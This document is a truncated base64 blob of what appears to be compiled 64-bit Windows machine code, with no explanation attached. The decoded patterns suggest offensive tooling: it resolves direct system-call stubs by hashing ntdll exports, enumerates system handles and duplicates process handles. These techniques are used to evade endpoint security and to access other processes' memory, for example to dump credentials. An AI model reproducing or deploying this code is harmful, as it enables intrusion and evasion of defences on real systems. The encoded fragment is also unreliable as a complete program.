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i0XoSItAMEiJRfBIi0XwSIlFuEiLRbiLQDxIY9BIi0XwSAHQSIlFsEiLRbBIBYgAAABIiUWoSItFqIsAiUWkg32kAHRMi1WkSItF8EgB0EiJRfhIi0X4i0AMicJIi0XwSAHQSIlFmEiLRZiLAA0gICAgPW50ZGx1G0iLRZhIg8AEiwANICAgID1sLmRsdCTrBJDrAZBIi0XoSIsASIlF6EiLRehIi0AwSIXAD4VO////6wGQSIN9+AB1CrgAAAAA6TEDAABIi0X4i0AYiUXkSItF+ItAHInCSItF8EgB0EiJRZBIi0X4i0AgicJIi0XwSAHQSIlFiEiLRfiLQCSJwkiLRfBIAdBIiUWAx0XgAAAAAEiNBVwNAQBIiYV4////i0Xkg+gBicBIjRSFAAAAAEiLRYhIAdCLAInCSItF8EgB0EiJhXD///9Ii4Vw////D7cAZj1ad3V0i0XgSMHgBEiJwkiLhXj///9IjRwCSIuFcP///0iJweis/f//iQOLReSD6AGJwEiNFABIi0WASAHQD7cAD7fASI0UhQAAAABIi0WQSAHQi1XgSInRSMHhBEiLlXj///9IAcqLAIlCBINF4AGBfeD0AQAAdBCDbeQBg33kAA+FRf///+sBkItF4IkFhgwBAMdF3AAAAADpWgEAAMdF2AAAAADpNQEAAItF2EjB4ARIicJIi4V4////SAHQi1AEi0XYg8ABicBIweAESInBSIuFeP///0gByItABDnCD4b2AAAASMeFQP///wAAAABIx4VI////AAAAAItF2EjB4ARIicJIi4V4////SAHQiwCJhUD///+LRdhIweAESInCSIuFeP///0gB0ItABImFRP///4tF2IPAAYnASMHgBEiJwkiLhXj///9IAdCLVdhIidFIweEESIuVeP///0gByosAiQKLRdiDwAGJwEjB4ARIicJIi4V4////SAHQi1XYSInRSMHhBEiLlXj///9IAcqLQASJQgSLRdiDwAGJwEjB4ARIicJIi4V4////SAHCi4VA////iQKLRdiDwAGJwEjB4ARIicJIi4V4////SAHCi4VE////iUIEg0XYAYsFMwsBACtF3IPoATlF2A+Ctv7//4NF3AGLBRoLAQCD6AE5RdwPgpT+//9Ii4V4////SIPAEItQBEiLhXj///+LSASJ0CnIiYVs////x0XUAAAAAOtZi0XUSMHgBEiJwkiLhXj///9IAdCLQASJwkiLRfBIAdBIiYVg////i0XUSMHgBEiJwkiLhXj///9IjRwCi5Vs////SIuFYP///0iJwegb+v//SIlDCINF1AGLBYQKAQCD6AE5RdRymbgBAAAASIHE6AAAAFtdw1VIieVIg+wwiU0Q6Hf7//+FwHUHuP/////rO8dF/AAAAADrIotF/EjB4ARIicJIjQVACgEAiwQCOUUQdQWLRfzrFINF/AGLBSEKAQA5Rfxy07j/////SIPEMF3DVUiJ5UiD7DCJTRDoG/v//4XAdQe4AAAAAOtNx0X8AAAAAOs0i0X8SMHgBEiJwkiNBeQJAQCLBAI5RRB1F4tF/EjB4ARIicJIjQXTCQEASIsEAusUg0X8AYsFswkBADlF/HLBuAAAAABIg8QwXcNIx8AAAAAAw5APC0iLBCTDkA8LSIlMJAhIiVQkEEyJRCQYTIlMJCBIuQ8qm80AAAAAUUiD7CjoV////0iDxChZUEiD7Cjo7P7//0iDxChBW0iLTCQISItUJBBMi0QkGEyLTCQgSYnKQf/jkA8LSIlMJAhIiVQkEEyJRCQYTIlMJCBIuS8av/8AAAAAUUiD7Cjo/f7//0iDxChZUEiD7Cjokv7//0iDxChBW0iLTCQISItUJBBMi0QkGEyLTCQgSYnKQf/jkA8LSIlMJAhIiVQkEEyJRCQYTIlMJCBIx8FndYsRUUiD7Cjopv7//0iDxChZUEiD7CjoO/7//0iDxChBW0iLTCQISItUJBBMi0QkGEyLTCQgSYnKQf/jkA8LSIlMJAhIiVQkEEyJRCQYTIlMJCBIx8E/01IiUUiD7CjoT/7//0iDxChZUEiD7Cjo5P3//0iDxChBW0iLTCQISItUJBBMi0QkGEyLTCQgSYnKQf/jkA8LSIlMJAhIiVQkEEyJRCQYTIlMJCBIuaIVqY8AAAAAUUiD7Cjo9f3//0iDxChZUEiD7Cjoiv3//0iDxChBW0iLTCQISItUJBBMi0QkGEyLTCQgSYnKQf/jkA8LSIlMJAhIiVQkEEyJRCQYTIlMJCBIuSC8vL0AAAAAUUiD7Cjom/3//0iDxChZUEiD7CjoMP3//0iDxChBW0iLTCQISItUJBBMi0QkGEyLTCQgSYnKQf/jkA8LSIlMJAhIiVQkEEyJRCQYTIlMJCBIx8GA6ZMDUUiD7CjoRP3//0iDxChZUEiD7Cjo2fz//0iDxChBW0iLTCQISItUJBBMi0QkGEyLTCQgSYnKQf/jkA8LSIlMJAhIiVQkEEyJRCQYTIlMJCBIx8EyG6sXUUiD7Cjo7fz//0iDxChZUEiD7Cjogvz//0iDxChBW0iLTCQISItUJBBMi0QkGEyLTCQgSYnKQf/jkA8LSIlMJAhIiVQkEEyJRCQYTIlMJCBIx8EbA5UFUUiD7Cjolvz//0iDxChZUEiD7CjoK/z//0iDxChBW0iLTCQISItUJBBMi0QkGEyLTCQgSYnKQf/jkA8LSIlMJAhIiVQkEEyJRCQYTIlMJCBIx8EFL5MBUUiD7CjoP/z//0iDxChZUEiD7Cjo1Pv//0iDxChBW0iLTCQISItUJBBMi0QkGEyLTCQgSYnKQf/jkA8LSIlMJAhIiVQkEEyJRCQYTIlMJCBIubaOAZYAAAAAUUiD7Cjo5fv//0iDxChZUEiD7Cjoevv//0iDxChBW0iLTCQISItUJBBMi0QkGEyLTCQgSYnKQf/jkA8LSIlMJAhIiVQkEEyJRCQYTIlMJCBIx8EaKrIkUUiD7Cjojvv//0iDxChZUEiD7CjoI/v//0iDxChBW0iLTCQISItUJBBMi0QkGEyLTCQgSYnKQf/jkA8LSIlMJAhIiVQkEEyJRCQYTIlMJCBIuaDQOPUAAAAAUUiD7CjoNPv//0iDxChZUEiD7Cjoyfr//0iDxChBW0iLTCQISItUJBBMi0QkGEyLTCQgSYnKQf/jkA8LSIlMJAhIiVQkEEyJRCQYTIlMJCBIx8GPLFtKUUiD7Cjo3fr//0iDxChZUEiD7Cjocvr//0iDxChBW0iLTCQISItUJBBMi0QkGEyLTCQgSYnKQf/jkA8LSIlMJAhIiVQkEEyJRCQYTIlMJCBIuROkv5wAAAAAUUiD7Cjog/r//0iDxChZUEiD7CjoGPr//0iDxChBW0iLTCQISItUJBBMi0QkGEyLTCQgSYnKQf/jkA8LSIlMJAhIiVQkEEyJRCQYTIlMJCBIx8FP9iMOUUiD7CjoLPr//0iDxChZUEiD7Cjowfn//0iDxChBW0iLTCQISItUJBBMi0QkGEyLTCQgSYnKQf/jkA8LSIlMJAhIiVQkEEyJRCQYTIlMJCBIx8HjdmNCUUiD7Cjo1fn//0iDxChZUEiD7Cjoavn//0iDxChBW0iLTCQISItUJBBMi0QkGEyLTCQgSYnKQf/jkA8LSIlMJAhIiVQkEEyJRCQYTIlMJCBIx8EaarJkUUiD7Cjofvn//0iDxChZUEiD7CjoE/n//0iDxChBW0iLTCQISItUJBBMi0QkGEyLTCQgSYnKQf/jkA8LSIlMJAhIiVQkEEyJRCQYTIlMJCBIx8GgZC5lUUiD7CjoJ/n//0iDxChZUEiD7CjovPj//0iDxChBW0iLTCQISItUJBBMi0QkGEyLTCQgSYnKQf/jkA8LSIlMJAhIiVQkEEyJRCQYTIlMJCBIx8EMMp8dUUiD7Cjo0Pj//0iDxChZUEiD7CjoZfj//0iDxChBW0iLTCQISItUJBBMi0QkGEyLTCQgSYnKQf/jkA8LSIlMJAhIiVQkEEyJRCQYTIlMJCBIx8E2cZEnUUiD7Cjoefj//0iDxChZUEiD7CjoDvj//0iDxChBW0iLTCQISItUJBBMi0QkGEyLTCQgSYnKQf/jkA8LSIlMJAhIiVQkEEyJRCQYTIlMJCBIx8GEg5wJUUiD7CjoIvj//0iDxChZUEiD7Cjot/f//0iDxChBW0iLTCQISItUJBBMi0QkGEyLTCQgSYnKQf/jkA8LSIlMJAhIiVQkEEyJRCQYTIlMJCBIx8GHX74aUUiD7Cjoy/f//0iDxChZUEiD7CjoYPf//0iDxChBW0iLTCQISItUJBBMi0QkGEyLTCQgSYnKQf/jkA8LSIlMJAhIiVQkEEyJRCQYTIlMJCBIuepivbwAAAAAUUiD7Cjocff//0iDxChZUEiD7CjoBvf//0iDxChBW0iLTCQISItUJBBMi0QkGEyLTCQgSYnKQf/jkA8LSIlMJAhIiVQkEEyJRCQYTIlMJCBIuW260YoAAAAAUUiD7CjoF/f//0iDxChZUEiD7CjorPb//0iDxChBW0iLTCQISItUJBBMi0QkGEyLTCQgSYnKQf/jkA8LSIlMJAhIiVQkEEyJRCQYTIlMJCBIuQ+Yl4wAAAAAUUiD7Cjovfb//0iDxChZUEiD7CjoUvb//0iDxChBW0iLTCQISItUJBBMi0QkGEyLTCQgSYnKQf/jkA8LSIlMJAhIiVQkEEyJRCQYTIlMJCBIuaeMOqYAAAAAUUiD7CjoY/b//0iDxChZUEiD7Cjo+PX//0iDxChBW0iLTCQISItUJBBMi0QkGEyLTCQgSYnKQf/jkA8LSIlMJAhIiVQkEEyJRCQYTIlMJCBIufkSafAAAAAAUUiD7CjoCfb//0iDxChZUEiD7CjonvX//0iDxChBW0iLTCQISItUJBBMi0QkGEyLTCQgSYnKQf/jkA8LSIlMJAhIiVQkEEyJRCQYTIlMJCBIx8EYOaNzUUiD7CjosvX//0iDxChZUEiD7CjoR/X//0iDxChBW0iLTCQISItUJBBMi0QkGEyLTCQgSYnKQf/jkA8LSIlMJAhIiVQkEEyJRCQYTIlMJCBIx8H7Xqt8UUiD7CjoW/X//0iDxChZUEiD7Cjo8PT//0iDxChBW0iLTCQISItUJBBMi0QkGEyLTCQgSYnKQf/jkA8LSIlMJAhIiVQkEEyJRCQYTIlMJCBIx8EeXJg4UUiD7CjoBPX//0iDxChZUEiD7CjomfT//0iDxChBW0iLTCQISItUJBBMi0QkGEyLTCQgSYnKQf/jkA8LSIlMJAhIiVQkEEyJRCQYTIlMJCBIuYJN34QAAAAAUUiD7CjoqvT//0iDxChZUEiD7CjoP/T//0iDxChBW0iLTCQISItUJBBMi0QkGEyLTCQgSYnKQf/jkA8LkJCQkJCQkJCQVUiJ5UiD7DBIiU0QSIlVGEyJRSBMiU0oSI1FIEiJRfBIi1XwSItFGEmJ0EiJwkiLTRDoCU8AAIlF/ItF/EiDxDBdw1VIieVIg+wwx0X8AQAAAEiNBcfAAABIiUXwSI1F8EG4AQAAALoBAAAASInB6AwAAACJRfyLRfxIg8QwXcNVU0iD7EhIjWwkQEiJTSCJVShEiUUwSMdF6AAAAABIjUXoSYnAuigAAABIx8H/////6Jz1//+JRfiDffgAeQq4AAAAAOnWAAAAx0X8AAAAAOmlAAAAi0X8SJhIjRTFAAAAAEiLRSBIAdBIixBIi0Xoi00wQYnISInB6KgAAACJRfSDffQAdW9Ii0XoSInB6Oj0//9Ix0XoAAAAAItF/EiYSI0UxQAAAABIi0UgSAHQSIsYuQEAAABIiwXSrQAA/9BJidhIjRX4vwAASInB6K7+//+5AQAAAEiLBbKtAAD/0EiNFfe/AABIicHokf7//7gAAAAA6ymDRfwBi0X8OUUoD4dP////SItF6EiJwehp9P//SMdF6AAAAAC4AQAAAEiDxEhbXcNVU0iB7IgAAABIjawkgAAAAEiJTSBIiVUoRIlFMMdF/AAAAADHRdAIAAAAx0X4AAAAAMdFzAAAAABIx0XwAAAAAEjHRcAAAAAAx0XIAAAAAEjHRbAAAAAASMdFuAAAAABIx0XoAAAAAMdF5AEAAMC6AQAAAEiNDT+/AADo4cX//0G4AAAAALoewaURSInB6PjD//9IiUXYSIN92AAPhDYCAACLRdCJw0iLBVguAQD/0EmJ2LoIAAAASInBSIsFVC4BAP/QSIlF8EiDffAAD4QIAgAAi03QSItV8EiNRdBIiUQkIEGJyUmJ0LoDAAAASItNIOg0+f//iUXkg33kAHk4SIsF/y0BAP/QSItV8EmJ0LoAAAAASInBSIsF/y0BAP/QSMdF8AAAAACBfeQjAADAD4Rs////6wGQg33kAA+ImwEAAMdF+AAAAADpeAEAAEiLTfCLVfhIidBIAcBIAdBIweACSAHISItQBEiJVcCLQAyJRcjHRcwAAAAASI1VzEiNRcBMi1XYSYnRQbgAAAAASInCuQAAAABB/9KJRdSDfdQAD4U5AQAASIsFTy0BAP/Qg/h6D4UnAQAAi0XMg8ABiUXMi0XMicBIjRwASIsFMy0BAP/QSYnYuggAAABIicFIiwUvLQEA/9BIiUXoSIN96AAPhOwAAABIjU3MSItV6EiNRcBMi1XYSYnJSYnQSInCuQAAAABB/9KJRdSDfdQAD4TBAAAASItVKEiLRehIicFIiwXeLQEA/9CFwHVcg30wAHRMx0WwAQAAAEiLRcBIiUW0x0W8AgAAAEiNRbBIx0QkKAAAAABIx0QkIAAAAABBuRAAAABJicC6AAAAAEiLTSDoMPP//4lF5IN95AB4WsdF/AEAAACQ61FIiwVlLAEA/9BIi1XoSYnQugAAAABIicFIiwVlLAEA/9BIx0XoAAAAAINF+AFIi0XwiwA5RfgPgnn+///rE5DrEJDrDZDrCpDrB5DrBJDrAZBIg33wAHQhSIsFDSwBAP/QSItV8EmJ0LoAAAAASInBSIsFDSwBAP/QSIN96AB0IUiLBeUrAQD/0EiLVehJidC6AAAAAEiJwUiLBeUrAQD/0ItF/EiBxIgAAABbXcOQkFVIieVIg+wwSIlNEEiJVRhMiUUgTIlNKEiNRSBIiUXwSItV8EiLRRhJidBIicJIi00Q6BlKAACJRfyLRfxIg8QwXcNVSInlSIPsUIlNEEiLBWcrAQD/0EG4iDgBALoIAAAASInBSIsFYCsBAP/QSIlF8EiDffAAdQq4AAAAAOkWAgAAx0XUAAAAAEiNRdRIicHoB9v//4lF7IN97AB1M0iLBRYrAQD/0EiLVfBJidC6AAAAAEiJwUiLBRYrAQD/0EjHRfAAAAAAuAAAAADpxwEAAOhq1///SIlF4EiDfeAAdTNIiwXTKgEA/9BIi1XwSYnQugAAAABIicFIiwXTKgEA/9BIx0XwAAAAALgAAAAA6YQBAADHRfwAAAAA6TwBAACLVfxIidBIAcBIAdBIweADSItV4EgB0EiDwAhIiUXYSItF2A+3AA+3wDlFEA+F/wAAAEiLRdiLQBAlEAQAAD0QBAAAD4XrAAAASItF2A+2QAQPttCLRdQ5wg+F2AAAAEiLRfCLAIPAAT0QJwAAD4aTAAAAuQEAAABIiwWAqAAA/9BIjRXnugAASInB6E/+//+5AQAAAEiLBWOoAAD/0EiNFfi6AABIicHoMv7//0iLBecpAQD/0EiLVeBJidC6AAAAAEiJwUiLBecpAQD/0EjHReAAAAAASIsFvikBAP/QSItV8EmJ0LoAAAAASInBSIsFvikBAP/QSMdF8AAAAAC4AAAAAOtySItF2A+3QAZED7fASItF8IsQjUoBSItF8IkITInBSItF8InSSIlM0AjrB5DrBJDrAZCDRfwBSItF4IsAOUX8D4K1/v//SIsFSSkBAP/QSItV4EmJ0LoAAAAASInBSIsFSSkBAP/QSMdF4AAAAABIi0XwSIPEUF3DVUiJ5UiD7DCJTRBIiVUYx0XsQAAAAItF7GVIiwBIiUXgSItF4IlF/EiDfRgAdAlIi0UYi1X8iRDHRdwwAAAAi0XcZUiLAEiJRdBIi0XQSIPAQEiJRfBIi0Xwi1UQiRCQSIPEMF3DVUiB7EAEAABIjawkgAAAAImN0AMAAEiJldgDAABMiYXgAwAATImN6AMAAEiLleADAABIjYWwAQAAQbgEAQAASInB6LScAABIi4XYAwAAQbgEAQAASI0VYLkAAEiJwegYnQAASI2VsAEAAEiLhdgDAABBuAQBAABIicHo9JwAAEiLhdgDAABBuAQBAABIjRUouQAASInB6NicAACDvdADAAAAD4T3AAAASIuV6AMAAEiNRaBBuAQBAABIicHoOpwAAEiLhdgDAABBuAQBAABIjRXquAAASInB6JacAABIjVWgSIuF2AMAAEG4BAEAAEiJweh9nAAAg73wAwAAAHQcSIuF2AMAAEG4BAEAAEiNFba4AABIicHoWJwAAIO9+AMAAAB0HEiLhdgDAABBuAQBAABIjRWZuAAASInB6DOcAACDvQAEAAAAdBxIi4XYAwAAQbgEAQAASI0VfLgAAEiJwegOnAAASIuF2AMAAEG4BAEAAEiNFWi4AABIicHo8psAAEiLhdgDAABBuAQBAABIjRVUuAAASInB6NabAADrAZBIgcRABAAAXcNVSInlSIPsIEiJTRCJVRhIg30QAHUHuAEAAADrckiLRRCLAIPAAT2IEwAAdkG5AQAAAEiLBTmlAAD/0EiNFRi4AABIicHoCPv//7kBAAAASIsFHKUAAP/QSI0VsbcAAEiJwejr+v//uAAAAADrIUiLRRCLEI1KAUiLRRCJCEiLRRCJ0YtVGIlUiA